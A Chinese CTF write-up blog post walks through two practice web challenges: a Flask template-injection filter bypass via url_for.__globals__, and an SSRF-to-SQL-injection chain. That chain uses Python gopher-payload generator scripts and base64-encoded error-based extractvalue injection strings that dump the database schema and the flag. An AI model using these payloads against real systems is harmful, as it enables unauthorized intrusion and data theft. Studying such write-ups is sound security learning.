攻防世界题目练习——Web引导模式(四)(持续更新)

news/2024/5/19 22:54:39 标签: ctf, 攻防世界, very_easy_sql, shrine, Web, 网络安全

题目目录

shrine_2">1. shrine

打开网页题目内容如下:
在这里插入图片描述
是一段代码,我们把它还原一下:

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
#这里应该是将config配置里的FLAG字段设置为取出Linux系统中的FLAG变量赋值给它

@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

看不懂代码,先浅浅学一下吧。
首先最让我迷惑的就是@app.route()函数了,于是找到参考博客如下,了解到这是Flask框架的语法,在之前的模板注入题目中也了解到过。
参考博客:
Flask入门—@app.route()使用-CSDN博客
从这篇博客知道,使用 route() 装饰器来告诉 Flask 触发函数 的 URL
当我们直接打开网页链接,就会在根目录下,触发函数读取文件内容,也就是我们看到的代码,如果在/shrine/目录下,就会触发shrine函数。

然后学习一下这段代码:
参考博客:
攻防世界web进阶区shrine详解
找到了一篇讲解比较详细的博客:
[Western CTF 2018]shrine - 掘金
'{{% set {}=None%}}'.format(c) for c in blacklist等价于 '{% set config=None%}{% set self=None%}',即当前局部 config变量与self变量均赋值为None。

并且由于 ()都被过滤,许多命令执行payload都无法使用,通过下面了解到的flask模板注入相关payload,明白了这是因为常见的命令执行payload都会需要用到(),例如system('ls')read()
参考博客:
从博客flask模板注入(ssti),一篇就够了、flask模板注入中学到了一些flask的一些基础知识,例如在前面的题目中涉及到的__class____mor____base__是什么意思。
ssti详解与例题以及绕过payload大全中介绍了许多绕过一些过滤的方法。

既然'{{% set {}=None%}}'.format(c) for c in blacklist使当前局部 config变量与self变量均赋值为None,那么可以考虑通过全局变量来查看。

current_app 类型是LocalProxy 像全局变量一样工作,先访问到current_app再访问其config即可,但只能在处理请求期间且在处理它的线程中访问,current_app只有在处理请求时才有指向。

确认存在模板注入:
在这里插入图片描述
尝试{{config}},果然内容显示为None:
在这里插入图片描述
结合博客SSTI 模板注入url_for和get_flashed_messages之[WesternCTF2018]shrine,了解到url_for这个函数可以通过函数名找到这个函数对应的目录,也就是利用函数的名字去动态精准的获取url,可以用 url_for() 来给指定的函数构造 URL。
__globals__ 是python里的函数,可以看到所有可读的全局变量
url_for中有current_app这个全局变量,url_for.__globals__表示使用__global__来获取url_for的全部模块、方法和全局变量。
然后我们可以找到’current_app’:
在这里插入图片描述
然后我们查看全局变量current_app的config:
在这里插入图片描述
访问’FLAG’字段:
在这里插入图片描述
小结:python的SSTI模板注入,本身就是利用{{}}代码可执行的漏洞,从而在基类的子类中找到os或者file有关的类,os用来执行命令,file可以用来读取文件。本题因为黑名单的原因过滤了(),所以常规方法通过os和file来获取flag就不适用,但是本题flag的值已经被写入到当前app的config中,所以目标就变为读取当前app的config值,而恰好url_for中有current_app这个全局变量,所以使用__global__来获取url_for的全部模块、方法和全局变量,从中选择current_app这个全局变量,再获取其中的config的值,从而获取到flag。

very_easy_sql_74">2. very_easy_sql

参考博客:
攻防世界web新手 - very_easy_sql(非常详细的wp)
里面提到了利用ssrf漏洞可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。不知道banner是什么,搜了一下,简单来说,banner信息就是指服务器返回给你的响应头的相关信息,例如:返回过来的状态码,服务版本号…等等。通过这些banner信息可以得到一个服务器的端口号、上面安装了哪些服务?以及服务相应的版本…等等,从而可以找到相应的漏洞。

打开网页看到如下:
在这里插入图片描述
提示说“you are not an inner user, so we can not let you have identify”,不是内部用户,看了别的博客说应该指的是需要内部访问,尝试注入发现并没有任何反应,抓包看看:
在这里插入图片描述
看到set-cookie为deleted,猜测可能是输入的内容都被删除了,然后我们可以看到最下面有一个use.php,然后看看use.php:
在这里插入图片描述
看参考博客说这是一个ssrf漏洞,那先了解一下ssrf漏洞:
SSRF漏洞原理攻击与防御(超详细总结)
根据博客手把手带你用 SSRF 打穿内网的讲解,“能够对外发起网络请求的地方,就可能存在 SSRF”,我的理解为:凡是一个输入框可以用来访问其他网站的,就可能存在ssrf漏洞。

参考博客:
攻防世界very_easy_sql
Gopher发送HTTP GET与HTTP POST请求可以参考如下博客:
Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎
在这里插入图片描述
这个格式要注意后面路径后有个_
以GET请求为例:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以直接用Gopher协议发送数据,那么发送HTTP的请求可以直接发送一个原始的HTTP包。
上面的图片是这篇文章提到的使用Gopher发送HTTP POST请求时需要注意的几个点:

  • 要注意在请求的路径与请求的内容之间加一个_或者其它字符来避免吞字符
  • 进行url编码时问号要转码为%3f,回车换行符在脚本的url函数的编码中可能只被转为%0a,要替换为%0d%0a
  • 然后是POST数据包的格式,一定要包含POST /index.php HTTP/1.1
    host:x.x.x.x
    Content-Type:
    Content-Length:
    这4个参数

然后编写构造要发送的gopher协议的脚本:

import urllib.parse

host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)
text =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(host,content_length,content)
tmp = urllib.parse.quote(text)
new = tmp.replace("%0A", "%0D%0A")
result = urllib.parse.quote(new)
print("gopher://" + host + "/_" + result)

#输出内容:
gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

要注意Content-Length这一块请求头结束后和请求的内容直接一定要有一行换行。

参考博客:
urllib库(三)parse模块:quote()/quote_plus(),unquote()/unquote_plus(),quote_from_bytes()
python爬虫之urllib.parse详解
有个疑问,为什么要进行两次url编码,还是参考知乎的那篇文章:
在这里插入图片描述curl_exec在发起gopher时用的是没有进行URL编码的值会导致失败,为什么呢?
大概是因为只有经过url编码后的gopher协议的内容才会被正确识别?
参考博客:
Gopher 协议详解-腾讯云开发者社区-腾讯云
为什么要进行URL编码 - 降瑞雪 - 博客园

将url参数改为我们生成的gopher协议内容之后:
在这里插入图片描述
Set-Cookie发生了变化,看起来是经过base64与url编码的,解码看看:
在这里插入图片描述
不知道这个admin是uname输入框还是passwd输入框变过来的,盲猜应该是uname,重新试一下改了一下passwd,但是发现并没有返回302结果,返回的是200,并且没有像上一个一样的this_is_your_cookie的Set-Cookie的值,猜测可能是因为用户名密码不正确?

于是猜测注册点为Set-Cookie处?

然后测试闭合类型:
生成gopher的脚本如下:

import urllib.parse

host = "127.0.0.1:80"
cookie = "this_is_your_cookie=YWRtaW4n"

text =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host, cookie)
tmp = urllib.parse.quote(text)
new = tmp.replace("%0A", "%0D%0A")
result = urllib.parse.quote(new)
print("gopher://" + host + "/_" + result)

this_is_your_cookie=YWRtaW4n
#YWRtaW4n是admin'的base64编码

在这里插入图片描述

this_is_your_cookie=Jw==
#Jw==是单引号'的base64编码

在这里插入图片描述
从第一个admin'的报错可以看到,设x为我们输入的内容,则报错的格式为"x'),并且后面'的报错也可以对应。
那么在我们输入的内容右边的闭合就应该为'),然后采用报错注入:
参考博客:
sql注入之报错注入-CSDN博客

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database())))) #
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) #
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) #
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) #

在这里插入图片描述
在这里插入图片描述

admin') and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))) #
YWRtaW4nKSBhbmQoc2VsZWN0IGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JykpKSkgIw==

在这里插入图片描述

admin') and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag')))) #
YWRtaW4nKSBhbmQoc2VsZWN0IGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2ZsYWcnKSkpKSAj

在这里插入图片描述

admin') and(select extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))) #
YWRtaW4nKSBhbmQoc2VsZWN0IGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGZsYWcpIGZyb20gZmxhZykpKSkgIw==

在这里插入图片描述
此时flag只显示了一半,参考攻防世界web新手 - very_easy_sql(非常详细的wp)_sean7777777的博客-CSDN博客分割读取:

admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #
YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCBzdWJzdHIoKFNFTEVDVCBmbGFnIGZyb20gZmxhZyksMzAsMzIpLDB4N2UpKSAj

substr函数用法详解-CSDN博客
30是起始位置,32是显示的长度
在这里插入图片描述
由于中间重叠了2位,“51”是重复的,完整的flag为:

cyberpeace{e3cd67249037c83741515a8f820a20c1}

http://www.niftyadmin.cn/n/5159194.html

相关文章

学习笔记:利用CANOE Panel和CAPL脚本模拟主节点发送LIN通信指令

前一篇文章已经对CANOE如何模拟主节点和从节点进行LIN通信做了简单的记录,修改主节点发送的指令需要修改LIN ISC模块里的Frames帧对应的signal。这样改起来比较麻烦且不直观,幸好CANOE提供了Panel designer这样的工具,我们可以利用它设计自己…

SpringBoot基础(五)-- 引导类

引言: SpringBoot确实帮助我们减少了很多配置工作,下面说一下程序是如何运行的。目前程序运行的入口就是SpringBoot工程创建时自带的那个类了,带有main方法的那个类,运行这个类就可以启动SpringBoot工程的运行。 @SpringBootApplication public class SpringBootQu…

ZYNQ_project:led

本次实验完成:led流水间隔0.5s 闪烁间隔0.25s。 名词解释: analysis分析:对源文件进行全面的语法检查。 synthesis综合:综合的过程是由 FPGA 综合工具箱 HDL 原理图或其他形式源文件进行分析,进而推演出由 FPGA 芯…

RDS for MySQL 是什么

RDS for MySQL 是一种托管型数据库服务,RDS代表“关系数据库服务”(Relational Database Service)。这是云服务提供商提供的一种服务,用于简化关系数据库的设置、操作和扩展。对于MySQL版本的RDS,意味着它是专门为运行MySQL数据库管理系统的实…

Java并发工具-1-原子操作(Atomic)

一 原子操作之 AtomicInteger 1 概念解释 什么是原子操作呢?所谓原子操作,就是一个独立且不可分割的操作。 AtomicInteger 工具类提供了对整数操作的原子封装。为什么要对整数操作进行原子封装呢? 在 java 中,当我们在多线程情…

1.用递归求一个正整数的逆序数

#include<stdio.h>void f(int n){if(0!n){ //n是0的时候&#xff0c;退出循环 printf("%d ",n%10);f(n/10);} } int main(){f(12345);return 0; } /*void(12345) 12345不等于0 12345%105 输出 5 12345/101234void(1234) 1234不等于0 1234%104 输出 4 1…

10 路由协议:西出网关无故人,敢问路在何方

1.网络包出了网关之后&#xff0c;就有了一种漂泊的悲凉感 2.之前的场景是比较简单的场景&#xff0c;但是在实际生产环境下&#xff0c;出了网关&#xff0c;会面临着很多路由器&#xff0c;有很多条道路可以选。 3、如何配置路由&#xff1f; 路由表的设计 1.路由器就是一…

学习笔记|秩相关分析|Spearman相关分析|Kendall相关分析|规范表达|《小白爱上SPSS》课程:SPSS第十九讲:秩相关分析怎么做?

目录 学习目的软件版本原始文档秩相关分析一、实战案例二、统计策略三、SPSS操作四、结果解读五、规范表达1、规范图表2、规范文字 六、划重点&#xff1a; 学习目的 SPSS第十九讲&#xff1a;秩相关分析怎么做&#xff1f; 软件版本 IBM SPSS Statistics 26。 原始文档 《…